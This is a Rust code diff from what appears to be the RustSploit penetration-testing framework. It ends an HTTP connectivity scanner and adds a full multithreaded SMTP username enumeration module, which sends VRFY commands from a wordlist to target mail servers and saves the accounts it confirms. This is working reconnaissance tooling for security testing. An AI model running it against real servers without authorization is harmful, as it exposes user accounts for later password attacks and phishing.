println!("{}", format!("[~] HTTPS {} -> {} (Redirect: {})", url, status_str, location).yellow());
|
||||
} else {
|
||||
println!("{}", format!("[-] HTTPS {} -> {}", url, status_str).red());
|
||||
}
|
||||
|
||||
results.push(format!("HTTPS {} -> {} (Server: {})", url, status_str, server));
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] HTTPS {} -> Error: {}", url, e).red());
|
||||
results.push(format!("HTTPS {} -> Error: {}", url, e));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start.elapsed();
|
||||
|
||||
// Print summary
|
||||
println!();
|
||||
println!("{}", "=== Scan Summary ===".bold());
|
||||
println!(" Target: {}", target);
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
println!(" Checks: {}", results.len());
|
||||
|
||||
// Save results
|
||||
if save_results && !results.is_empty() {
|
||||
let filename = prompt_with_default("Output filename", "http_scan_results.txt")?;
|
||||
let mut file = File::create(&filename).context("Failed to create output file")?;
|
||||
writeln!(file, "HTTP Connectivity Scan Results")?;
|
||||
writeln!(file, "Target: {}", target)?;
|
||||
writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64())?;
|
||||
writeln!(file)?;
|
||||
for result in &results {
|
||||
writeln!(file, "{}", result)?;
|
||||
}
|
||||
println!("{}", format!("[+] Results saved to '{}'", filename).green());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{}", format!("{} [{}]: ", message, hint).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", message, default).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_timeout() -> Result<u64> {
|
||||
print!("{}", "Timeout in seconds [10]: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(10)
|
||||
} else {
|
||||
trimmed.parse().map_err(|_| anyhow!("Invalid timeout"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,867 @@
|
||||
//! SMTP Username Enumeration Scanner Module
|
||||
//!
|
||||
//! Enumerates usernames on an SMTP server using the VRFY command.
|
||||
//! Supports wordlist-based enumeration with concurrent scanning.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::time::{Duration, Instant};
|
||||
use telnet::{Telnet, Event};
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_SMTP_PORT: u16 = 25;
|
||||
const DEFAULT_THREADS: usize = 10;
|
||||
const DEFAULT_TIMEOUT_MS: u64 = 3000;
|
||||
/// If username wordlist is larger than this, switch to streaming mode
|
||||
const STREAMING_THRESHOLD_BYTES: u64 = 50 * 1024 * 1024; // 50 MB
|
||||
|
||||
struct Statistics {
|
||||
total_checked: AtomicU64,
|
||||
valid_users: AtomicU64,
|
||||
invalid_users: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_checked: AtomicU64::new(0),
|
||||
valid_users: AtomicU64::new(0),
|
||||
invalid_users: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_check(&self, valid: bool, error: bool) {
|
||||
self.total_checked.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if valid {
|
||||
self.valid_users.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.invalid_users.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_checked.load(Ordering::Relaxed);
|
||||
let valid = self.valid_users.load(Ordering::Relaxed);
|
||||
let invalid = self.invalid_users.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} checked | {} valid | {} invalid | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
valid.to_string().green(),
|
||||
invalid,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_checked.load(Ordering::Relaxed);
|
||||
let valid = self.valid_users.load(Ordering::Relaxed);
|
||||
let invalid = self.invalid_users.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total checked: {}", total);
|
||||
println!(" Valid users: {}", valid.to_string().green().bold());
|
||||
println!(" Invalid users: {}", invalid);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} checks/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SMTP Username Enumeration Scanner ║".cyan());
|
||||
println!("{}", "║ Enumerates usernames using SMTP VRFY command ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
struct SmtpUserEnumConfig {
|
||||
/// Raw target strings (IP/hostname) before normalization
|
||||
targets: Vec<String>,
|
||||
/// Port used for all targets
|
||||
port: u16,
|
||||
/// Username wordlist path
|
||||
username_wordlist: String,
|
||||
/// Number of worker threads
|
||||
threads: usize,
|
||||
/// Per-connection timeout in milliseconds
|
||||
timeout_ms: u64,
|
||||
/// Verbose output flag
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Initial target: {}", target).cyan());
|
||||
println!();
|
||||
|
||||
println!("{}", "[ Configuration Menu ]".bold().green());
|
||||
println!(" 1. Single target (use current target only)");
|
||||
println!(" 2. Targets from file (ignore current target)");
|
||||
println!(" 3. Current target + targets from file");
|
||||
println!();
|
||||
let mode = prompt("Select mode [1-3] (default 1): ");
|
||||
|
||||
// Build initial target list based on selected mode
|
||||
let mut targets: Vec<String> = Vec::new();
|
||||
match mode.trim() {
|
||||
"2" => {
|
||||
let file_path = prompt("Targets file (one IP/hostname per line): ");
|
||||
if file_path.trim().is_empty() {
|
||||
return Err(anyhow!("Targets file path cannot be empty in mode 2"));
|
||||
}
|
||||
let loaded = load_targets_from_file(file_path.trim())?;
|
||||
if loaded.is_empty() {
|
||||
return Err(anyhow!("No valid targets loaded from file"));
|
||||
}
|
||||
targets.extend(loaded);
|
||||
}
|
||||
"3" => {
|
||||
if !target.trim().is_empty() {
|
||||
targets.push(target.trim().to_string());
|
||||
}
|
||||
let file_path = prompt("Additional targets file (one IP/hostname per line): ");
|
||||
if file_path.trim().is_empty() {
|
||||
return Err(anyhow!("Targets file path cannot be empty in mode 3"));
|
||||
}
|
||||
let loaded = load_targets_from_file(file_path.trim())?;
|
||||
if loaded.is_empty() {
|
||||
return Err(anyhow!("No valid additional targets loaded from file"));
|
||||
}
|
||||
targets.extend(loaded);
|
||||
}
|
||||
// Default: mode 1 – single target only
|
||||
_ => {
|
||||
if !target.trim().is_empty() {
|
||||
targets.push(target.trim().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let port = prompt_port(DEFAULT_SMTP_PORT);
|
||||
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
|
||||
let threads = prompt_threads(DEFAULT_THREADS);
|
||||
let timeout_ms = prompt_timeout(DEFAULT_TIMEOUT_MS);
|
||||
let verbose = prompt_yes_no("Verbose mode?", false);
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No targets specified for SMTP enumeration"));
|
||||
}
|
||||
|
||||
let config = SmtpUserEnumConfig {
|
||||
targets,
|
||||
port,
|
||||
username_wordlist,
|
||||
threads,
|
||||
timeout_ms,
|
||||
verbose,
|
||||
};
|
||||
|
||||
run_smtp_user_enum(config)
|
||||
}
|
||||
|
||||
fn run_smtp_user_enum(config: SmtpUserEnumConfig) -> Result<()> {
|
||||
// Normalize and validate all targets
|
||||
let mut normalized_targets: Vec<(String, String)> = Vec::new();
|
||||
for raw in &config.targets {
|
||||
match normalize_target(raw, config.port) {
|
||||
Ok(addr) => normalized_targets.push((raw.clone(), addr)),
|
||||
Err(e) => {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] Skipping target '{}': {}", raw, e).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if normalized_targets.is_empty() {
|
||||
return Err(anyhow!("All targets failed validation/normalization"));
|
||||
}
|
||||
|
||||
// Decide whether to load usernames into memory or stream line-by-line
|
||||
let metadata = std::fs::metadata(&config.username_wordlist)
|
||||
.with_context(|| format!("Failed to stat username wordlist: {}", config.username_wordlist))?;
|
||||
let size_bytes = metadata.len();
|
||||
let use_streaming = size_bytes > STREAMING_THRESHOLD_BYTES;
|
||||
|
||||
if !use_streaming {
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty."));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Loaded {} username(s).", usernames.len()).cyan());
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Total targets: {} (port {})",
|
||||
normalized_targets.len(),
|
||||
config.port
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
println!("{}", format!("[*] Threads: {}", config.threads).cyan());
|
||||
println!("{}", format!("[*] Timeout: {}ms", config.timeout_ms).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
|
||||
// Queue work: every username against every target (in-memory mode)
|
||||
for (raw_target, addr) in &normalized_targets {
|
||||
for username in &usernames {
|
||||
tx.send((raw_target.clone(), addr.clone(), username.clone()))?;
|
||||
}
|
||||
}
|
||||
drop(tx);
|
||||
|
||||
// Start progress reporter thread
|
||||
let progress_stop = Arc::clone(&stop_flag);
|
||||
let progress_stats = Arc::clone(&stats);
|
||||
let progress_handle = std::thread::spawn(move || {
|
||||
while !progress_stop.load(Ordering::Relaxed) {
|
||||
progress_stats.print_progress();
|
||||
std::thread::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS));
|
||||
}
|
||||
});
|
||||
|
||||
// Worker threads
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let unknown = Arc::clone(&unknown);
|
||||
let stats = Arc::clone(&stats);
|
||||
let config = config.clone();
|
||||
|
||||
pool.execute(move || {
|
||||
while let Ok((raw_target, addr, username)) = rx.recv() {
|
||||
if stop_flag.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
match verify_smtp_user(&addr, &username, config.timeout_ms) {
|
||||
Ok(Some(response)) => {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[+] VALID: {}@{} - {}",
|
||||
username,
|
||||
raw_target,
|
||||
response.trim()
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
let mut users = found.lock().unwrap();
|
||||
users.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
response.trim().to_string(),
|
||||
));
|
||||
stats.record_check(true, false);
|
||||
}
|
||||
Ok(None) => {
|
||||
stats.record_check(false, false);
|
||||
if config.verbose {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!("[-] Invalid: {}@{}", username, raw_target).dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_check(false, true);
|
||||
let msg = e.to_string();
|
||||
if msg.starts_with("Unknown VRFY response for '") {
|
||||
{
|
||||
let mut unk = unknown.lock().unwrap();
|
||||
unk.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if config.verbose {
|
||||
eprintln!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {}@{} -> {}",
|
||||
username, raw_target, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
} else if config.verbose {
|
||||
eprintln!("\r{}", format!("[!] {}: {}", username, msg).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
pool.join();
|
||||
|
||||
// Stop progress reporter
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.join();
|
||||
|
||||
// Final reporting including unknown responses
|
||||
return finalize_and_report(found, unknown, stats);
|
||||
}
|
||||
|
||||
// Streaming mode for very large username lists
|
||||
let size_mb = (size_bytes as f64) / (1024.0 * 1024.0);
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Large username wordlist detected (~{:.1} MB) – streaming line by line",
|
||||
size_mb
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Total targets: {} (port {})",
|
||||
normalized_targets.len(),
|
||||
config.port
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
println!("{}", format!("[*] Threads: {}", config.threads).cyan());
|
||||
println!("{}", format!("[*] Timeout: {}ms", config.timeout_ms).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
|
||||
// Producer thread: read usernames file line-by-line and enqueue work
|
||||
{
|
||||
let targets_clone = normalized_targets.clone();
|
||||
let path_clone = config.username_wordlist.clone();
|
||||
let tx_clone = tx.clone();
|
||||
|
||||
std::thread::spawn(move || {
|
||||
if let Err(e) =
|
||||
enqueue_streaming_usernames(&path_clone, &targets_clone, tx_clone)
|
||||
{
|
||||
eprintln!(
|
||||
"\r{}",
|
||||
format!("[!] Username producer error: {}", e).red()
|
||||
);
|
||||
}
|
||||
});
|
||||
}
|
||||
drop(tx);
|
||||
|
||||
// Start progress reporter thread
|
||||
let progress_stop = Arc::clone(&stop_flag);
|
||||
let progress_stats = Arc::clone(&stats);
|
||||
let progress_handle = std::thread::spawn(move || {
|
||||
while !progress_stop.load(Ordering::Relaxed) {
|
||||
progress_stats.print_progress();
|
||||
std::thread::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS));
|
||||
}
|
||||
});
|
||||
|
||||
// Worker threads
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let unknown = Arc::clone(&unknown);
|
||||
let stats = Arc::clone(&stats);
|
||||
let config = config.clone();
|
||||
|
||||
pool.execute(move || {
|
||||
while let Ok((raw_target, addr, username)) = rx.recv() {
|
||||
if stop_flag.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
match verify_smtp_user(&addr, &username, config.timeout_ms) {
|
||||
Ok(Some(response)) => {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[+] VALID: {}@{} - {}",
|
||||
username,
|
||||
raw_target,
|
||||
response.trim()
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
let mut users = found.lock().unwrap();
|
||||
users.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
response.trim().to_string(),
|
||||
));
|
||||
stats.record_check(true, false);
|
||||
}
|
||||
Ok(None) => {
|
||||
stats.record_check(false, false);
|
||||
if config.verbose {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!("[-] Invalid: {}@{}", username, raw_target).dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_check(false, true);
|
||||
let msg = e.to_string();
|
||||
if msg.starts_with("Unknown VRFY response for '") {
|
||||
{
|
||||
let mut unk = unknown.lock().unwrap();
|
||||
unk.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if config.verbose {
|
||||
eprintln!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {}@{} -> {}",
|
||||
username, raw_target, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
} else if config.verbose {
|
||||
eprintln!("\r{}", format!("[!] {}: {}", username, msg).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
pool.join();
|
||||
|
||||
// Stop progress reporter
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.join();
|
||||
|
||||
// Final reporting including unknown responses
|
||||
finalize_and_report(found, unknown, stats)
|
||||
}
|
||||
|
||||
/// Verify a username using SMTP VRFY command
|
||||
/// Returns Ok(Some(response)) if user exists, Ok(None) if user doesn't exist, Err on connection/protocol error
|
||||
fn verify_smtp_user(addr: &str, username: &str, timeout_ms: u64) -> Result<Option<String>> {
|
||||
let socket = addr
|
||||
.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Could not resolve address"))?;
|
||||
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(timeout_ms))
|
||||
.context("Connection timeout")?;
|
||||
|
||||
stream.set_read_timeout(Some(Duration::from_millis(timeout_ms)))?;
|
||||
stream.set_write_timeout(Some(Duration::from_millis(timeout_ms)))?;
|
||||
|
||||
let mut telnet = Telnet::from_stream(Box::new(stream), 256);
|
||||
let timeout = Duration::from_millis(timeout_ms);
|
||||
|
||||
// Read initial banner (220 response)
|
||||
let mut banner_ok = false;
|
||||
let start = Instant::now();
|
||||
while start.elapsed() < timeout {
|
||||
match telnet.read() {
|
||||
Ok(Event::Data(data)) => {
|
||||
let response = String::from_utf8_lossy(&data);
|
||||
if response.starts_with("220") {
|
||||
banner_ok = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(_) => continue,
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
|
||||
if !banner_ok {
|
||||
return Err(anyhow!("No 220 banner received"));
|
||||
}
|
||||
|
||||
// Send VRFY command
|
||||
let vrfy_cmd = format!("VRFY {}\r\n", username);
|
||||
telnet.write(vrfy_cmd.as_bytes())?;
|
||||
|
||||
// Read VRFY response
|
||||
let start = Instant::now();
|
||||
let mut response_text = String::new();
|
||||
|
||||
while start.elapsed() < timeout {
|
||||
match telnet.read() {
|
||||
Ok(Event::Data(data)) => {
|
||||
let response = String::from_utf8_lossy(&data);
|
||||
response_text.push_str(&response);
|
||||
|
||||
// Check for valid user responses (250, 251)
|
||||
if response.starts_with("250") || response.starts_with("251") {
|
||||
// User exists
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
return Ok(Some(response_text.trim().to_string()));
|
||||
}
|
||||
|
||||
// Check for invalid user responses (550, 551, 553)
|
||||
if response.starts_with("550") || response.starts_with("551") || response.starts_with("553") {
|
||||
// User doesn't exist
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
// Check for ambiguous response (252 - cannot verify)
|
||||
if response.starts_with("252") {
|
||||
// Server explicitly refuses to verify (VRFY disabled) – treat as error
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
return Err(anyhow!("Server returned 252 (cannot VRFY) for user '{}'", username));
|
||||
}
|
||||
|
||||
// If we got a complete response line but no known status code, treat as unknown
|
||||
if response.contains("\r\n") {
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
return Err(anyhow!(
|
||||
"Unknown VRFY response for '{}': {}",
|
||||
username,
|
||||
response.trim()
|
||||
));
|
||||
}
|
||||
}
|
||||
Ok(_) => continue,
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
|
||||
// If we didn't get a clear response, treat as error
|
||||
telnet.write(b"QUIT\r\n").ok();
|
||||
Err(anyhow!("No valid VRFY response received"))
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Failed to open file: {}", path))?;
|
||||
Ok(BufReader::new(file)
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|s| !s.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn enqueue_streaming_usernames(
|
||||
path: &str,
|
||||
targets: &[(String, String)],
|
||||
tx: crossbeam_channel::Sender<(String, String, String)>,
|
||||
) -> Result<()> {
|
||||
let file = File::open(path).context(format!("Failed to open username wordlist: {}", path))?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
for line in reader.lines() {
|
||||
let line = line?;
|
||||
let username = line.trim();
|
||||
if username.is_empty() || username.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
|
||||
let username_owned = username.to_string();
|
||||
for (raw_target, addr) in targets {
|
||||
tx.send((raw_target.clone(), addr.clone(), username_owned.clone()))?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Failed to open targets file: {}", path))?;
|
||||
let reader = BufReader::new(file);
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for line in reader.lines() {
|
||||
let line = line?;
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() || trimmed.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
targets.push(trimmed.to_string());
|
||||
}
|
||||
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
fn finalize_and_report(
|
||||
found: Arc<Mutex<Vec<(String, String)>>>,
|
||||
unknown: Arc<Mutex<Vec<(String, String)>>>,
|
||||
stats: Arc<Statistics>,
|
||||
) -> Result<()> {
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let found_guard = found.lock().unwrap();
|
||||
if found_guard.is_empty() {
|
||||
println!("{}", "[-] No valid usernames found.".yellow());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Found {} valid username(s):", found_guard.len())
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
for (username, response) in found_guard.iter() {
|
||||
println!(" {} {} - {}", "✓".green(), username, response);
|
||||
}
|
||||
|
||||
if prompt("\nSave valid usernames? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y")
|
||||
{
|
||||
let filename = prompt("What should the valid results be saved as?: ");
|
||||
if filename.is_empty() {
|
||||
println!("{}", "[-] Filename cannot be empty.".red());
|
||||
} else {
|
||||
save_results(&filename, &found_guard)?;
|
||||
println!("{}", format!("[+] Results saved to {}", filename).green());
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(found_guard);
|
||||
|
||||
let unknown_guard = unknown.lock().unwrap();
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown VRFY response(s).",
|
||||
unknown_guard.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
|
||||
if prompt("Save unknown responses to file? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y")
|
||||
{
|
||||
let default_name = "smtp_unknown_responses.txt";
|
||||
let filename =
|
||||
prompt(&format!("What should the unknown results be saved as? [{}]: ", default_name));
|
||||
let chosen = if filename.trim().is_empty() {
|
||||
default_name.to_string()
|
||||
} else {
|
||||
filename.trim().to_string()
|
||||
};
|
||||
|
||||
if let Err(e) = save_unknown_responses(&chosen, &unknown_guard) {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] Failed to save unknown responses: {}", e).red()
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to {}", chosen).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn save_results(path: &str, users: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.open(path)?;
|
||||
|
||||
writeln!(file, "# SMTP Username Enumeration Results")?;
|
||||
writeln!(file, "# Generated by RustSploit SMTP User Enum Scanner")?;
|
||||
writeln!(file, "# Total: {} valid username(s)", users.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for (username, response) in users {
|
||||
writeln!(file, "{} - {}", username, response)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn save_unknown_responses(path: &str, entries: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.open(path)?;
|
||||
|
||||
writeln!(file, "# SMTP Unknown VRFY Responses")?;
|
||||
writeln!(file, "# Generated by RustSploit SMTP User Enum Scanner")?;
|
||||
writeln!(file, "# Total: {} unknown response(s)", entries.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for (identity, response) in entries {
|
||||
writeln!(file, "{} - {}", identity, response)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(msg: &str) -> String {
|
||||
print!("{}", msg);
|
||||
if let Err(e) = io::stdout().flush() {
|
||||
eprintln!("[!] Failed to flush stdout: {}", e);
|
||||
}
|
||||
let mut buffer = String::new();
|
||||
match io::stdin().read_line(&mut buffer) {
|
||||
Ok(_) => buffer.trim().to_string(),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read input: {}", e);
|
||||
String::new()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_port(default: u16) -> u16 {
|
||||
loop {
|
||||
let input = prompt(&format!("SMTP Port (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default;
|
||||
}
|
||||
match input.parse::<u16>() {
|
||||
Ok(0) => println!("{}", "[!] Port cannot be zero. Please enter a value between 1 and 65535.".yellow()),
|
||||
Ok(port) => return port,
|
||||
Err(_) => println!("{}", "[!] Invalid port. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_threads(default: usize) -> usize {
|
||||
loop {
|
||||
let input = prompt(&format!("Threads (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default.max(1);
|
||||
}
|
||||
if let Ok(value) = input.parse::<usize>() {
|
||||
if value >= 1 && value <= 1024 {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
println!("{}", "[!] Invalid thread count. Please enter a value between 1 and 1024.".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_timeout(default: u64) -> u64 {
|
||||
loop {
|
||||
let input = prompt(&format!("Timeout in milliseconds (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default;
|
||||
}
|
||||
match input.parse::<u64>() {
|
||||
Ok(value) if value >= 100 && value <= 60000 => return value,
|
||||
Ok(_) => println!("{}", "[!] Timeout must be between 100 and 60000 milliseconds.".yellow()),
|
||||
Err(_) => println!("{}", "[!] Invalid timeout. Please enter a number.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> bool {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char));
|
||||
if input.is_empty() {
|
||||
return default_yes;
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return true,
|
||||
